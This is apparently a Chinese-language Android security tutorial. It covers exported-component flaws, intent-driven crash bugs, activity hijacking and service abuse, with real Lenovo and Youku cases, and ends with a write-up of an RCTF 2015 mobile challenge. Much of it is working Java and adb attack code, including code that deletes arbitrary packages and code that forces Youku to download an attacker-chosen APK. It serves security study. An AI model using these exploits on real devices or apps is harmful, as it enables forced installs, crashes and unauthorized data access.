Android App中可能出现的安全漏洞的类型:
思维导图来源
通过adb获取android系统应用或者第三方app:
adb shell pm path app包名
adb pull apk路径
如果是系统应用,可能因为优化,源代码不在apk文件,而是在vdex文件中:
/system/app//oat/
下;/system/app
下copy到/data/davilk-cache/
下关于vdex更多知识
例子:
下图是Genymotion模拟器中蓝牙系统应用的vdex文件路径,比一般的安卓系统相比把arm换成了x86
拉取vdex到本地:
在kali里面安装编译vdexExtrator中的工具,转化vdex为dex,下图适用于Android9以上的情况
将Bluetooth.apk拖入JEB中查看Manifest文件:
将Bluetooth.dex拖入JEB中查看源码:
这些组件会在apk的AndroidManifest.xml中声明,需要重点关注可导出的组件:
这些组件会直接对外提供服务,容易直接受到攻击
防护方面可以将android:protectionLevel
从normal提升到dangerous、signature,组件权限设置参考
例子:sieve.apk
例子下载以及相关知识详见
Genymotion打开应用,交互顺序如下:
首先要求输入密码:
在提交password之后,再输入pin:
然后要求输入刚才的密码:
点击登录后,可进入“Your Passwords”页面:
可以知道包名为com.mwr.example.sieve
可以看到除了启动activity之外,还有两个activity导出为true
使用adroid studio编写testseive应用,直接调用导出activity,实现越权绕过
// 要调用的包名
String mPackageName="com.mwr.example.sieve";
// 要调用的activity
String mActivityName="com.mwr.example.sieve.PWList";
Intent intent=new Intent();
intent.setComponent(new ComponentName(mPackageName,mActivityName));
// 启动intent
startActivityForResult(intent,1);
构建并运行testseive应用,可以看到能够直接进入“Your Passwords”页面,实现越权绕过
参考链接
源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃
漏洞应用代码片段:
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
Log.d("TAG", "Test for Android Refuse Service Bug");
}
攻击应用代码片段:
不提供action,直接启动activity就可以导致崩溃
adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
先启动漏洞app,再启动攻击app,漏洞app就会crash:
可以看到android studio中的类型转换报错:
源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃
漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
// 没有对intArray大小进行检验
for (int i = 0; i<10; i++) {
intArray.get(i);
}
}
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);
startActivity(i);
android studio报错:
源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃
漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key");
攻击应用代码片段:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("serializable_key", new SelfSerializableData());
startActivity(i);
}
//在这里重新定义了一个类
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
}
}
android studio部分报错:
对手拦截发送来启动一个基于android的可信活动的隐式intent,并在其位置启动一个假冒活动。然后,恶意活动被用来模拟受信任活动的用户界面,并提示目标输入敏感数据,就像目标正在与受信任活动交互一样。
参考链接
导出的service未进行权限设置和调用者身份验证,使得调用者通过调用该service实现非授权访问或权限提升。
漏洞案例
乐phone手机出厂默认包含一个名为jp.aplix.midp.tools的应用包。本应用以system权限运行,并向其他应用提供ApkInstaller服务,用来进行对Apk文件的安装和删除。通过向ApkInstaller服务传递构造好的参数,没有声明任何权限的应用即可达到安装和删除任意Package的行为,对系统安全性产生极大影响。
攻击代码:
Intent in = new Intent();
in.setComponent(new ComponentName("jp.aplix.midp.tools","jp.aplix.midp.tools.ApkInstaller"));
in.putExtra("action", "deleteApk");
in.putExtra("pkgName", "xxxxx");
startService(in);
service未对intent中的数据进行充分检查,导致接收伪造的恶意消息
漏洞案例
优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!
组件com.youku.service.push.StartActivityService声明如下,对外暴露:
<service
android:label="Youku Push Notifications StartActivityService"
android:name="com.youku.service.push.StartActivityService"
android:exported="true"
>
该组件对应的代码执行部分如下:
protected void onHandleIntent(Intent intent) {
Intent v0;
String v23;
// 获取pushMsg数据
Serializable pushMsg = intent.getSerializableExtra("PushMsg");
......
AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();
// 根据pushMsg.type判断执行流程
switch(pushMsg.type) {
case 1: {
goto label_53;
}
......
}
......
label_53:
intent.setFlags(876609536);
intent.setClass(this, UpdateActivity.class);
// 从pushMsg.updateurl中获取升级URL
intent.putExtra("updateurl", pushMsg.updateurl);
intent.putExtra("updateversion", pushMsg.updateversion);
intent.putExtra("updatecontent", pushMsg.updatecontent);
intent.putExtra("updateType", 2);
this.startActivity(intent);
return;
......
该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。
攻击代码:
该漏洞触发的关键在于对PushMsg数据的控制,创建一个Android App程序,在主Activity中的关键代码如下:
PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://任意URL/test.apk";
pushMsg.updatecontent = "This is Fake";
Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);
其中PushMsg类不需要完整实现,只需要编译通过即可;
反编译优酷客户端的App得到smali代码,从中提取出PushMsg.smali;
反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。
service未对接收的intent中的数据进行异常处理,导致程序崩溃。
其他参考链接:
https://tea9.xyz/post/3182197634.html
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
参考链接1
参考链接2
来源:RCTF 2015 Mobile350-Load
描述:This APK has a vulnerability,Can you load the flag? Try it.WaWaWa_0bb98521a9f21cc3672774cfec9c7140
通过JEB查看清单文件,有1个Activity,2个Service(其中CoreService是normal权限),1个BroadcastReciver外部可访问且没有进行权限设置
还有一个外部不可访问的WebActivity
先分析MainActivity,没什么东西
然后分析WebActivity,发现它能够利用WebView加载flag
首先用intent根据"KEY"获取序列化数据v0,然后分别调用a()、b()、c()函数,返回值分别对应v1、v2、loading
看一下里面的b类,调用a()、b()、c()函数会分别返回b.b、b.c、b.d
注意到WebActivity中黄色框圈起的代码中,还有a.a,里面是密文xHLK4mR+0huhd6YSEc5Qzh+/yEZ7Vqs4PLKJ3cv3dPUQO7xLZCX731yPvd2V1mS0XXtIVgNisRw=:
分析MiscService,它里面有一个intent,获取类名CLASS_NAME后,可以给某个类发送消息
分析coreservice,可以看到有暴露的aidl接口,连上这个binder就可以获得this.a的数据
因为this.a属于b类,那么点进去看b类的设计,b类中应用了Load类中的getUrl、getToken、getIv函数,其中b.a()返回的是c(Load.getUrl(this.a), Load.getToken(this.a)).a(),b.b()返回的是null,b.c()返回的是iv值
观察v0所属的c类,并继续分析com.example.wawawa.b.c,可以发现是在访问网址请求数据:根据输入的Load的native函数getUrl以及getToken,获取vps-url以及token参数,post到vps-url,若token正确即可获取key
在Load类中,可以看到这些函数都是在so库中实现的,考虑到有上面暴露的接口,就不选择用so库逆向的方式解题:
为加载flag,WebActivity需要被启动,同时获得KEY作为序列化输入
所以获取flag的步骤为:
新建android app工程
添加访问权限(MiscService未添加权限要求,不用声明):
<uses-permission android:name="com.example.wawawa.permission.CORE_SERVICE"/>
MainActivity中主要代码
import com.example.wawawa.d;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
// 调用CoreService的binder
ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService");
Intent intent = new Intent();
intent.setComponent(com);
// Intent service, ServiceConnection conn, int flags
bindService(intent, connD, Context.BIND_AUTO_CREATE);
} catch (Exception e) {
}
}
private d da;
private ServiceConnection connD = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 调用Stub类的客户端接口方法获取服务端数据
da = d.a.a(service);
try {
System.out.println("c() Load.getIv------------- " + da.c()); //返回iv
System.out.println("a() Load.getkey------------- " + da.a()); //返回key
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
};
}
创建com.example.wawawa.d类提供接口定义,可以直接复制load apk中该类的反编译结果并进行微调:
package com.example.wawawa;
import android.os.Binder;
import android.os.IBinder;
import android.os.IInterface;
import android.os.Parcel;
import android.os.RemoteException;
public interface d extends IInterface {
public static abstract class a extends Binder implements d {
/* renamed from: a reason: collision with root package name */
private static final String f418a = "com.example.wawawa.d";
static final int b = 1;
static final int c = 2;
static final int d = 3;
/* renamed from: com.example.wawawa.d$a$a reason: collision with other inner class name */
private static class C0016a implements d {
/* renamed from: a reason: collision with root package name */
private IBinder f419a;
C0016a(IBinder iBinder) {
this.f419a = iBinder;
}
public IBinder asBinder() {
return this.f419a;
}
public String d() {
return a.f418a;
}
public String a() throws RemoteException {
Parcel obtain = Parcel.obtain();
Parcel obtain2 = Parcel.obtain();
try {
obtain.writeInterfaceToken(a.f418a);
this.f419a.transact(1, obtain, obtain2, 0);
obtain2.readException();
return obtain2.readString();
} finally {
obtain2.recycle();
obtain.recycle();
}
}
public String b() throws RemoteException {
Parcel obtain = Parcel.obtain();
Parcel obtain2 = Parcel.obtain();
try {
obtain.writeInterfaceToken(a.f418a);
this.f419a.transact(2, obtain, obtain2, 0);
obtain2.readException();
return obtain2.readString();
} finally {
obtain2.recycle();
obtain.recycle();
}
}
public String c() throws RemoteException {
Parcel obtain = Parcel.obtain();
Parcel obtain2 = Parcel.obtain();
try {
obtain.writeInterfaceToken(a.f418a);
this.f419a.transact(3, obtain, obtain2, 0);
obtain2.readException();
return obtain2.readString();
} finally {
obtain2.recycle();
obtain.recycle();
}
}
}
public a() {
attachInterface(this, f418a);
}
public static d a(IBinder iBinder) {
if (iBinder == null) {
return null;
}
IInterface queryLocalInterface = iBinder.queryLocalInterface(f418a);
if (queryLocalInterface == null || !(queryLocalInterface instanceof d)) {
return new C0016a(iBinder);
}
return (d) queryLocalInterface;
}
public IBinder asBinder() {
return this;
}
public boolean onTransact(int i, Parcel parcel, Parcel parcel2, int i2) throws RemoteException {
switch (i) {
case 1:
parcel.enforceInterface(f418a);
String a2 = a();
parcel2.writeNoException();
parcel2.writeString(a2);
return true;
case 2:
parcel.enforceInterface(f418a);
String b2 = b();
parcel2.writeNoException();
parcel2.writeString(b2);
return true;
case 3:
parcel.enforceInterface(f418a);
String c2 = c();
parcel2.writeNoException();
parcel2.writeString(c2);
return true;
case 1598968902:
parcel2.writeString(f418a);
return true;
default:
return super.onTransact(i, parcel, parcel2, i2);
}
}
}
String a() throws RemoteException;
String b() throws RemoteException;
String c() throws RemoteException;
}
因为远程vps连不上的,所以无法获取key值,可以知道iv值是12345678
在testwawawa的MainActivity中添加以下代码:
import com.example.wawawa.a.b;
protected void onCreate(Bundle savedInstanceState) {
...
ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.MiscService");
Intent intent1 = new Intent();
intent1.setComponent(com);
intent1.putExtra("CLASS_NAME","com.example.wawawa.WebActivity");
intent1.putExtra("KEY", new b("xxxxxxxx","12345678","loading"));
startService(intent1);
}
添加com.example.wawawa.a.b类,可以直接复制load apk中该类的反编译结果
package com.example.wawawa.a;
import java.io.Serializable;
/* compiled from: Data */
public class b implements Serializable {
/* renamed from: a reason: collision with root package name */
private static final long f412a = -3601187837704976264L;
private String b;
private String c;
private String d;
public b(String str, String str2, String str3) {
this.b = str;
this.c = str2;
this.d = str3;
}
public String a() {
return this.b;
}
public String b() {
return this.c;
}
public String c() {
return this.d;
}
}
再次运行testwawawa,可以看到wawawa中能够显示flag loading:
然后尝试展示flag,但因为key是错误的,vps也已关闭,所以无法显示flag: